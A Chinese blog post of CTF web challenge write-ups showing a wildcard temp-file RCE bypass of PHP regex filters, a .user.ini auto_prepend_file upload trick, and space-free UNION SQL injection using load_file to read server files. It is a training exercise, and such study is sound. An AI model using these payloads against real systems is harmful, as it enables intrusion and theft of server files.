• 0X03


    红包题第二弹

    看到源码里面的提示

    7216322e08f04ad2adc874d7ce8f88f2.png

     ?cmd=phpinfo();

     看到源码

    de0ed5edfa3c47a5a16a3d398eb55591.png

     kk

    关键点就是有两个正则表达式

    第一个

    preg_match("/[A-Za-oq-z0-9$]+/",$cmd)

    第二个

    preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)

    从第一个发现小写字母p没有被过滤掉,同时也是做了许多的过滤

    是无字母数字RCE,并且不能用取反,异或,自增去绕过

    因为过滤了~^,异或和取反都不用考虑了

    其他师傅的做法

    利用上传的临时文件去命令执行getshell

    基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件。

    点就相当于source

    用来执行文件。source /home/user/bash 等同于 . /home/user/bash

    问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

    临时文件目录

    php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
    函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

    规则

    默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
    linux下:phpXXXXXX。

    后面的就有点整不懂了

    先放一放

    web13

    文件上传的窗口

    先上传php文件看,出现报错

    22f70b24af0e4fafb62d0ea9749bc6b8.png

    访问upload.php

    42540e0fb8934be397b9d0ab965044ef.png

    是不是备份文件,这个备份文件是系统自己产生的

    加上.bak,

    1. header("content-type:text/html;charset=utf-8");
    2. $filename = $_FILES['file']['name'];
    3. $temp_name = $_FILES['file']['tmp_name'];
    4. $size = $_FILES['file']['size'];
    5. $error = $_FILES['file']['error'];
    6. $arr = pathinfo($filename);
    7. $ext_suffix = $arr['extension'];
    8. if ($size > 24){
    9. die("error file zise");
    10. }
    11. if (strlen($filename)>9){
    12. die("error file name");
    13. }
    14. if(strlen($ext_suffix)>3){
    15. die("error suffix");
    16. }
    17. if(preg_match("/php/i",$ext_suffix)){
    18. die("error suffix");
    19. }
    20. if(preg_match("/php/i"),$filename)){
    21. die("error file name");
    22. }
    23. if (move_uploaded_file($temp_name, './'.$filename)){
    24. echo "文件上传成功!";
    25. }else{
    26. echo "文件上传失败!";
    27. }
    28. ?>

     拓展名只能读取一个,且不能为php,文件的大小要小于24字节,不能有php

    先传入.user.ini,进行写入

    auto_prepend_file=1.txt

     也就是后面传入的文件会以php的形式打开

    传入1.txt

     5037331b3c5c491982d28e34ead4e1a0.png

    连接显示返回数据为空

    c1fdf95c1a1c417dbf9fdb69954ece1c.png

     

     j检查一下,是已经上传成功的

    c982f834fbf543fb9b6cfd79b87a720c.png

     glob() 函数返回匹配指定模式的文件名或目录

    用函数看看目录下有什么文件

    ?a=print_r(scandir('.'));

     或者

    /?a=print_r(glob("*"));

     59077fde00b944b5a11ab3f45cd4bdca.png

     尝试读取

    ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
    

     获取flag

    web14

    源代码直接显示

    1. include("secret.php");
    2. if(isset($_GET['c'])){
    3. $c = intval($_GET['c']);
    4. sleep($c);
    5. switch ($c) {
    6. case 1:
    7. echo '$url';
    8. break;
    9. case 2:
    10. echo '@A@';
    11. break;
    12. case 555555:
    13. echo $url;
    14. case 44444:
    15. echo "@A@";
    16. break;
    17. case 3333:
    18. echo $url;
    19. break;
    20. case 222:
    21. echo '@A@';
    22. break;
    23. case 222:
    24. echo '@A@';
    25. break;
    26. case 3333:
    27. echo $url;
    28. break;
    29. case 44444:
    30. echo '@A@';
    31. case 555555:
    32. echo $url;
    33. break;
    34. case 3:
    35. echo '@A@';
    36. case 6000000:
    37. echo "$url";
    38. case 1:
    39. echo '@A@';
    40. break;
    41. }
    42. }
    43. highlight_file(__FILE__);

     先可以尝试一下get

    当我们输入c=3

    ca2aea1f758a43348adafacf3e3f7752.png

    刚开始的时候没有觉得什么奇怪的,后来想会不会是后面的文件路径

    加上试一下

    036d30afbabc4e2bb6c5d65a9bf0cf08.png

     4c85b5df1fd645b486855b287113922b.png

     看到新的登录框

    在尝试一下admin的时候,发现URL里面出现一个新的参数query=admin

    query=1和2还有3有回显加上字符就没有了,应该就是数字型注入了,并且过滤掉空格

    刚刚里面出现过一文件secret.php

    在index.php中包含了一个secret.php,先读这个文件试试

    load_file函数可以轻松读取本地文件的全部或部分内容

    eg:load_file('/home/user/test.txt');

    ?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")#

     54ca573e919149bbba7cf02ef2880cca.png

     可以看到flag实际上是在:/real_flag_is_here,所以读这个文件

    ?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

    073848f07af9484088235f273653642a.png

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    Bash编程语法
    SpringCloud Gateway 自定义Filter用代码怎么写?别再说我只会配置基本Filter了,来学学如何定制Filter过滤器
    Apache Doris (五十一): Doris数据缓存
    LeetCode:689. 三个无重叠子数组的最大和(dp C++)
    目标检测论文解读复现之十六:基于改进YOLOv5的小目标检测算法
    MATLAB提取不规则txt文件中的数值数据(简单且实用)
    手握Python这柄宝剑,我一举拿下4个offer
    seleuium 自动测试工具
    现代cpp教程笔记
    什么是平面文件数据库? 如何导入多种格式的文件:DSV、JSON、XML?
  • 原文地址:https://blog.csdn.net/qq_75005708/article/details/134230854